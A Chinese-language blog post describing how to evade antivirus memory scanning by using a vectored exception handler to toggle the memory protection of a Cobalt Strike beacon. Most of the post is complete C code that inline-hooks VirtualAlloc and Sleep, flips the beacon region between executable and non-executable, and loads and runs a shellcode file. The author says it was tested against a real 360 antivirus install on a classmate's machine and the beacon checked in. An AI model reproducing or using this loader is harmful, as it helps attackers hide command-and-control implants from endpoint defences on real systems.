通過VEH異常處理規避內存掃描實現免殺
windows異常處理
Windows中主要的異常處理機制:VEH、SEH、C++EH。
SEH中文全稱:結構化異常處理。就是平時用的__try __finally __try __except,是對c的擴展。
VEH中文全稱:向量異常處理。一般來說用AddVectoredExceptionHandler去添加一個異常處理函數,可以通過第一個參數決定是否將VEH函數插入到VEH鏈表頭,插入到鏈表頭的函數先執行,如果為1,則會最優先執行。
C++EH是C++提供的異常處理方式,執行順序將排在最后。
在用戶模式下發生異常時,異常處理分發函數在內部會先調用遍歷 VEH 記錄鏈表的函數, 如果沒有找到可以處理異常的注冊函數,再開始遍歷 SEH 注冊鏈表。
Windows異常處理順序流程
?終止當前程序的執行
?調試器(進程必須被調試,向調試器發送EXCEPTION_DEBUG_EVENT消息)
?執行VEH
?執行SEH
?TopLevelEH(進程被調試時不會被執行)
?執行VEH
?交給調試器(上面的異常處理都說處理不了,就再次交給調試器)
?調用異常端口通知csrss.exe
通過流程也可以看到VEH的執行順序是要優于SEH的。

通過VEH異常處理規避內存掃描
當AV描掃進程空間的時候,并不會將所有的內存空間都掃描一遍,只會掃描敏感的內存區域。
所謂的敏感內存區域無非就是指可執行的區域。思路就是不斷地改變某一塊內存屬性,當應該執行命令或者某些操作的時候,執行的內存屬性是可執行的,當功能模塊進入睡眠的時候則將內存屬性改為不可執行。
當執行的地址空間為不可執行時,若強行執行則會返回0xc0000005異常,這個異常是指沒有權限執行。所以通過VEH抓取這個異常,即可根據需求,動態的改變內存屬性,進而逃避內存掃描。
當觸發0xc0000005異常的時候需要恢復內存可執行屬性,就通過AddVectoredExceptionHandler去注冊一個異常處理函數,作用就是更改內存屬性為可執行。那么就需要知道是哪一塊地址需要修改,這里要根據申請空間API決定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申請空間API就hook其他API,這個根據具體的c2profile配置有關。如果不使用c2profile那么默認就是使用VirtualAlloc分配空間。這里先看一下hook VirtualAlloc,作用主要是為了讀取起始地址和大小。
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
unhookVirtualAlloc();
Beacon_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
hookVirtualAlloc();
printf("分配大小:%d", Beacon_len);
printf("分配地址:%x ", Beacon_address);
return Beacon_address;
}
void hookVirtualAlloc() {
DWORD dwAllocOldProtect = NULL;
BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原來的硬編碼
RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(pAllocData));
//計算偏移
DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
//得到完整的pAllocData
RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
//改為可寫屬性
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
//將偏移地址寫入,跳轉到新的
RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
//還原屬性
VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
}
void unhookVirtualAlloc() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
//還原硬編碼
RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));
//還原屬性
VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
}
還有一個需要去hook的就是Sleep,因為需要在執行Sleep的時候就將功能模塊的內存屬性改為不可執行,規避內存掃描。
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds) {
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep時間:%d", dwMilliseconds);
unhookSleep();
OldSleep(dwMilliseconds);
hookSleep();
//解鎖
SetEvent(hEvent);
}
void hookSleep() {
DWORD dwSleepOldProtect = NULL;
BYTE pSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
//保存原來的硬編碼
RtlCopyMemory(g_OldSleep, OldSleep, sizeof(pSleepData));
//計算偏移
DWORD dwSleepOffeset = (DWORD)NewSleep - (DWORD)OldSleep - 5;
//得到完整的pAllocData
RtlCopyMemory(&pSleepData[1], &dwSleepOffeset, sizeof(dwSleepOffeset));
//改為可寫屬性
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwSleepOldProtect);
//將偏移地址寫入,跳轉到新的
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
//還原屬性
VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
}
void unhookSleep() {
DWORD dwOldProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//還原硬編碼
RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));
//還原屬性
VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
}
然后就是注冊異常函數,這個異常函數就是為了恢復可執行內存屬性。
is_Exception函數就是為了驗證是不是在申請空間內的范圍呢出現異常,而不是其他內存空間。
LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
printf("異常錯誤碼:%x", ExceptionInfo->ExceptionRecord->ExceptionCode);
printf("線程地址:%lx", ExceptionInfo->ContextRecord->Eip);
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip) {
printf("恢復可執行內存屬性");
VirtualProtect(Beacon_address, Beacon_len, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
起一個線程,讓他不斷地去等待Sleep函數通知,通知后就將內存空間重新設置為不可執行。線程控制的話就用到了事件。
DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
while (true)
{
//等待解鎖
WaitForSingleObject(hEvent, INFINITE);
printf("設置Beacon內存屬性不可執行");
VirtualProtect(Beacon_address, Beacon_len, PAGE_READWRITE, &Beacon_flOldProtect);
//設置事件為未被通知的,重新上鎖
ResetEvent(hEvent);
}
}
int main()
{
//設置事件為有信號的,處于通知狀態。
hEvent = CreateEvent(NULL,TRUE,false,NULL);
AddVectoredExceptionHandler(1, &PvectoredExceptionHandler);
hookVirtualAlloc();
hookSleep();
unsigned char* BinData = NULL;
size_t size = 0;
char* szFilePath = (char*)"Beacon32.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, BinData, size);
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
HANDLE hThread1 = CreateThread(NULL, 0, SetNoExecutable, NULL, 0, NULL);
CloseHandle(hThread1);
(*(int(*)()) shellcode_addr)();
}
這里有一個很混淆的地方:hook VirtualAlloc并不是去hook的上面這個我們自己調用的VirtualAlloc,這個是沒有意義的。hook的是cs自己調用的申請內存空間API,他自己分配的內存地址才是真正的beacon代碼地址,這里用下LN師傅的圖。圖中是stager分階段的執行過程,如果是stagerless無階段的執行過程也是差不多的,只不過沒有遠程去請求而是直接寫在文件里。而且他這個執行步驟是會將前面的代碼刪除的,比如說

比如生成一個無階段的raw文件,然后跑一下


會發現這里調用了兩次VirtualAlloc,實際上就是執行cs的代碼他自己會調用一次,這個地址才是真正的beacon代碼實現功能的地址,我們要改的內存屬性其實在這里。
還可以看到他cs是執行完一段代碼,就釋放一段空間。
執行前:

執行后:

他把之前部分內存已經free掉了。
最后,找了個同學的物理機數字殺軟去看了下,上線是完全沒有問題的。(cs上線的圖當時忘了截,基礎命令可以執行)

這里是實際環境下的數字殺軟,并不是虛擬機版本,殺毒力度是很強的,即便他認為內存空間沒有問題,但是當我執行敏感操作,比如遠程創建線程,他還是會直接彈出警告。所以即便已經把對抗做到內存,但是還是處處受限,上線只是一方面,能執行各種操作是另一方面,像LN前輩說的一樣,可能只有加白才是最后的歸宿。